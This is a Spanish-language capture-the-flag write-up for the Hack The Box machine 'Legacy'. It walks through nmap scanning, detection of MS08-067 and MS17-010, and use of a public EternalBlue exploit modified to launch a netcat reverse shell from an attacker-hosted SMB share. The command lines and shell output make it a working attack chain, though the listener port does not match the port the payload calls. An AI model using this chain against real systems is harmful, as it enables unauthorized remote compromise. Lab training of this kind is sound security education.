Legacy - Writeup

RECONOCIMIENTO Y EXPLOTACION

Realizamos un escaneo con nmap y vemos 3 puertos abiertos:

```
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE      REASON          VERSION
135/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds syn-ack ttl 127 Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
```

Nos damos cuenta que puede ser vulnerable a eternalblue al ser un Windows XP

```
Host script results:
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
```

Vamos a lanzar un script de nmap que nos dice si es vulnerable:

`sudo nmap --script=smb-vuln* 10.10.10.4`

```
Host script results:
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
```

Como vemos, es vulnerable a eternalblue y ms08-067. Nos descargamos el repositorio de eternablue en github:

`git clone https://github.com/worawit/MS17-010`

Como es un exploit que se ejecutar con python2 tenemos que crear un entorno virtual para descargar impacket para python2:

- Entorno virtual

El repositorio contiene un "checker" para saber si es vulnerable:

```
┌──(myenv)─(kali㉿kali)-[~/Downloads/MS17-010]
└─$ python2 checker.py 10.10.10.4
Target OS: Windows 5.1
The target is not patched

=== Testing named pipes ===
spoolss: Ok (32 bit)
samr: STATUS_ACCESS_DENIED
netlogon: STATUS_ACCESS_DENIED
lsarpc: STATUS_ACCESS_DENIED
browser: Ok (32 bit)
```

Como vemos un OK, podemos ejecutar el exploit. Para ello tenemos que editar lo siguiente en "zzz_exploit.py". Buscamos la palabra cmd y descomentamos la siguiente linea:

```
        smbConn.disconnectTree(tid2)

        #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
        service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
        # Note: there are many methods to get shell over SMB admin session
        # a simple method to get shell (but easily to be detected by AV) is
        # executing binary generated by "msfvenom -f exe-service ..."
```

Podemos poner que nos envie un ping mientras nos ponemos a la escucha con tcpdump:

```
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
service_exec(conn, r'cmd /c ping 10.10.14.4')
```

`sudo tcpdump -i tun0 icmp`

Ejecutamos el exploit y recivimos el ping:

`python2 zzz_exploit.py 10.10.10.4´

```
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:19:14.593046 IP 10.10.10.4 > 10.10.14.4: ICMP echo request, id 512, seq 256, length 40
09:19:14.593069 IP 10.10.14.4 > 10.10.10.4: ICMP echo reply, id 512, seq 256, length 40
09:19:15.588646 IP 10.10.10.4 > 10.10.14.4: ICMP echo request, id 512, seq 512, length 40
09:19:15.588672 IP 10.10.14.4 > 10.10.10.4: ICMP echo reply, id 512, seq 512, length 40
09:19:16.589018 IP 10.10.10.4 > 10.10.14.4: ICMP echo request, id 512, seq 768, length 40
09:19:16.589038 IP 10.10.14.4 > 10.10.10.4: ICMP echo reply, id 512, seq 768, length 40
09:19:17.589475 IP 10.10.10.4 > 10.10.14.4: ICMP echo request, id 512, seq 1024, length 40
09:19:17.589500 IP 10.10.14.4 > 10.10.10.4: ICMP echo reply, id 512, seq 1024, length 40
^C
8 packets captured
8 packets received by filter
0 packets dropped by kernel
```

Como vemos que funciona podemos crear una carpeta compartida por SMB y ejecutarla desde la maquina victima estando en su interior el binario de netcat. Primero nos descargamos netcat de:

`https://github.com/danielmiessler/SecLists/blob/master/Web-Shells/FuzzDB/nc.exe`

Luego, estando dentro del entorno virtual compartimos la carpeta actual por smb;

`smbserver.py aitor .`

Nos ponemos a la escucha por el puerto 1234

`nc -lnvp 1234`

Y añadimos el siguiente comando al archivo:

```
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
service_exec(conn, r'cmd /c \\10.10.14.4\aitor\nc.exe -e cmd 10.10.14.4 443')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
```

Ahora cuando ejecutamos el comando recibimos la conexion como el usuario administrador:

```
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.4] 1062
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>whoami
```